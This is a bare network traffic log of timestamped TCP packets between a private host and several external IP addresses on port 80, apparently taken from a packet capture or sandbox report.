Nov 5, 2024 15:37:11.085989952 CET	80	49787	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:11.995568037 CET	49788	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:12.104183912 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.104348898 CET	49788	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:12.112953901 CET	49788	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:12.113018990 CET	49788	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:12.221524000 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.221599102 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.221628904 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.221654892 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.221700907 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.221728086 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.221966982 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.222765923 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:12.223040104 CET	49788	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:13.618174076 CET	49788	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:13.726573944 CET	80	49788	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:14.029328108 CET	80	49786	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:14.029486895 CET	49786	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:14.635885000 CET	49789	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:14.743885994 CET	80	49789	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:14.744147062 CET	49789	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:14.749298096 CET	49789	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:14.857198954 CET	80	49789	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:14.859739065 CET	80	49789	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:14.859783888 CET	80	49789	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:14.860120058 CET	49789	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:14.861934900 CET	49789	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:14.864253998 CET	80	49789	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:14.864461899 CET	49789	80	192.168.11.20	15.197.148.33
Nov 5, 2024 15:37:14.969794035 CET	80	49789	15.197.148.33	192.168.11.20
Nov 5, 2024 15:37:22.946366072 CET	49790	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:37:23.048924923 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.049195051 CET	49790	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:37:23.054768085 CET	49790	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:37:23.157346964 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.683861017 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.683919907 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.683989048 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.684032917 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.684075117 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.684114933 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.684155941 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.684184074 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.684211969 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.684226990 CET	49790	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:37:23.684398890 CET	49790	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:37:23.684573889 CET	49790	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:37:23.685767889 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:23.686008930 CET	49790	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:37:23.687426090 CET	49790	80	192.168.11.20	104.21.94.87
Nov 5, 2024 15:37:23.789812088 CET	80	49790	104.21.94.87	192.168.11.20
Nov 5, 2024 15:37:28.695166111 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:28.813013077 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:28.813224077 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:28.821978092 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:28.939783096 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149008989 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149110079 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149153948 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149194956 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149236917 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149277925 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149399042 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149396896 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:29.149403095 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149566889 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:29.149611950 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149616957 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.149739027 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:29.149908066 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:29.267188072 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267251968 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267323971 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267366886 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267405987 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267447948 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267488003 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267529964 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267570019 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267601013 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:29.267602921 CET	80	49791	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:29.267601013 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:29.267780066 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:29.267935038 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:30.333250046 CET	49791	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:31.350759029 CET	49792	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:31.470257998 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.470443010 CET	49792	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:31.478069067 CET	49792	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:31.595494986 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809813976 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809847116 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809855938 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809863091 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809870958 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809915066 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809936047 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809943914 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809967041 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.809973955 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.810087919 CET	49792	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:31.810144901 CET	49792	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:31.932573080 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932672977 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932682991 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932689905 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932724953 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932733059 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932801962 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932832956 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932842970 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.932849884 CET	80	49792	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:31.933135986 CET	49792	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:32.988931894 CET	49792	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.006364107 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.123939037 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.124113083 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.131946087 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.131995916 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.132045031 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.249459982 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.249545097 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.249551058 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.249721050 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.472951889 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.472965956 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.472973108 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.473000050 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.473031998 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.473057032 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.473088980 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.473095894 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.473103046 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.473109961 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.473216057 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.473273993 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.590735912 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590745926 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590843916 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590853930 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590861082 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590888977 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590897083 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590903997 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590982914 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.590991974 CET	80	49793	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:34.591075897 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.591075897 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:34.591172934 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:35.644619942 CET	49793	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:36.662065983 CET	49794	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:36.780025959 CET	80	49794	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:36.780286074 CET	49794	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:36.785660982 CET	49794	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:36.903455973 CET	80	49794	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:37.051381111 CET	80	49794	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:37.051449060 CET	80	49794	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:37.051748037 CET	49794	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:37.053734064 CET	49794	80	192.168.11.20	66.198.240.15
Nov 5, 2024 15:37:37.171536922 CET	80	49794	66.198.240.15	192.168.11.20
Nov 5, 2024 15:37:42.067224026 CET	49795	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:42.174964905 CET	80	49795	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:42.175268888 CET	49795	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:42.183583021 CET	49795	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:42.291238070 CET	80	49795	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:43.210342884 CET	80	49795	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:43.210515976 CET	49795	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:43.689759970 CET	49795	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:43.797364950 CET	80	49795	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:44.707206011 CET	49796	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:44.815188885 CET	80	49796	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:44.815345049 CET	49796	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:44.823009014 CET	49796	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:44.930658102 CET	80	49796	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:44.932305098 CET	80	49796	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:44.932497025 CET	49796	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:46.329757929 CET	49796	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:46.437691927 CET	80	49796	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:47.347202063 CET	49797	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:47.454839945 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:47.455027103 CET	49797	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:47.462866068 CET	49797	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:47.462914944 CET	49797	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:47.462968111 CET	49797	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:47.570569038 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:47.570667982 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:47.570673943 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:47.570780993 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:47.570786953 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:47.571110964 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:47.571116924 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:48.476710081 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:48.476833105 CET	49797	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:48.969907045 CET	49797	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:49.077893019 CET	80	49797	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:49.987304926 CET	49798	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:50.097775936 CET	80	49798	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:50.097958088 CET	49798	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:50.102979898 CET	49798	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:50.212452888 CET	80	49798	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:50.213927031 CET	80	49798	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:50.213934898 CET	80	49798	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:50.214337111 CET	49798	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:50.216623068 CET	49798	80	192.168.11.20	3.33.130.190
Nov 5, 2024 15:37:50.325927019 CET	80	49798	3.33.130.190	192.168.11.20
Nov 5, 2024 15:37:55.220566034 CET	49799	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:55.406965971 CET	80	49799	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:55.407273054 CET	49799	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:55.414917946 CET	49799	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:55.601948977 CET	80	49799	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:55.602787971 CET	80	49799	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:55.602796078 CET	80	49799	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:55.602818966 CET	80	49799	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:55.603117943 CET	49799	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:56.921309948 CET	49799	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:57.938671112 CET	49800	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:58.127543926 CET	80	49800	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:58.127712011 CET	49800	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:58.136048079 CET	49800	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:58.324141026 CET	80	49800	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:58.325383902 CET	80	49800	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:58.325428009 CET	80	49800	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:58.325460911 CET	80	49800	161.97.142.144	192.168.11.20
Nov 5, 2024 15:37:58.325731993 CET	49800	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:37:59.639475107 CET	49800	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:00.656836033 CET	49801	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:00.843924046 CET	80	49801	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:00.844103098 CET	49801	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:00.851941109 CET	49801	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:00.851991892 CET	49801	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:00.852045059 CET	49801	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:01.038992882 CET	80	49801	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:01.040896893 CET	80	49801	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:01.040944099 CET	80	49801	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:01.040993929 CET	80	49801	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:01.041023016 CET	80	49801	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:01.041049957 CET	80	49801	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:01.041079998 CET	80	49801	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:01.041140079 CET	49801	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:01.041196108 CET	49801	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:02.357532978 CET	49801	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:03.374999046 CET	49802	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:03.562990904 CET	80	49802	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:03.563189983 CET	49802	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:03.568806887 CET	49802	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:03.759452105 CET	80	49802	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:03.760319948 CET	80	49802	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:03.760343075 CET	80	49802	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:03.760349989 CET	80	49802	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:03.760675907 CET	49802	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:03.763783932 CET	49802	80	192.168.11.20	161.97.142.144
Nov 5, 2024 15:38:03.951874971 CET	80	49802	161.97.142.144	192.168.11.20
Nov 5, 2024 15:38:08.781491041 CET	49803	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:09.218926907 CET	80	49803	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:09.219140053 CET	49803	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:09.226814032 CET	49803	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:09.671473026 CET	80	49803	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:09.699775934 CET	80	49803	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:09.702735901 CET	80	49803	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:09.702924967 CET	49803	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:10.730756998 CET	49803	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:11.748354912 CET	49804	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:12.171585083 CET	80	49804	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:12.171739101 CET	49804	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:12.179430962 CET	49804	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:12.613404989 CET	80	49804	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:12.661990881 CET	80	49804	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:12.662034988 CET	80	49804	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:12.662197113 CET	49804	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:13.683233023 CET	49804	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:14.700684071 CET	49805	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:15.138407946 CET	80	49805	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:15.138674021 CET	49805	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:15.146502972 CET	49805	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:15.146568060 CET	49805	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:15.552236080 CET	80	49805	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:15.573780060 CET	80	49805	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:15.573791027 CET	80	49805	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:15.573805094 CET	80	49805	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:15.584599972 CET	80	49805	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:15.603473902 CET	80	49805	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:15.603651047 CET	49805	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:16.651321888 CET	49805	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:17.668783903 CET	49806	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:18.121607065 CET	80	49806	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:18.121903896 CET	49806	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:18.127055883 CET	49806	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:18.559819937 CET	80	49806	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:18.595443964 CET	80	49806	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:18.595501900 CET	80	49806	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:18.595736980 CET	49806	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:18.597564936 CET	49806	80	192.168.11.20	119.18.54.27
Nov 5, 2024 15:38:19.025139093 CET	80	49806	119.18.54.27	192.168.11.20
Nov 5, 2024 15:38:31.775228024 CET	49807	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:31.986773968 CET	80	49807	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:31.987024069 CET	49807	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:31.995176077 CET	49807	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:32.210241079 CET	80	49807	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:32.210288048 CET	80	49807	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:32.210323095 CET	80	49807	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:32.210486889 CET	49807	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:33.506975889 CET	49807	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:34.524427891 CET	49808	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:34.745831966 CET	80	49808	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:34.746094942 CET	49808	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:34.753774881 CET	49808	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:34.973167896 CET	80	49808	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:34.973217010 CET	80	49808	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:34.973251104 CET	80	49808	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:34.973478079 CET	49808	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:36.256434917 CET	49808	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:37.273880005 CET	49809	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:37.483761072 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.484122992 CET	49809	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:37.492533922 CET	49809	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:37.700716972 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.700735092 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.700746059 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.700756073 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.700767040 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.700778961 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.704250097 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.704279900 CET	80	49809	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:37.704461098 CET	49809	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:39.005850077 CET	49809	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:40.023344994 CET	49810	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:40.220012903 CET	80	49810	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:40.220355988 CET	49810	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:40.225492954 CET	49810	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:40.431312084 CET	80	49810	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:40.483453989 CET	80	49810	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:40.483504057 CET	80	49810	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:40.483769894 CET	49810	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:40.485595942 CET	49810	80	192.168.11.20	195.110.124.133
Nov 5, 2024 15:38:40.683058977 CET	80	49810	195.110.124.133	192.168.11.20
Nov 5, 2024 15:38:45.490988970 CET	49811	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:45.670212984 CET	80	49811	203.161.41.204	192.168.11.20
Nov 5, 2024 15:38:45.670469999 CET	49811	80	192.168.11.20	203.161.41.204
Nov 5, 2024 15:38:45.678103924 CET	49811	80	192.168.11.20	203.161.41.204
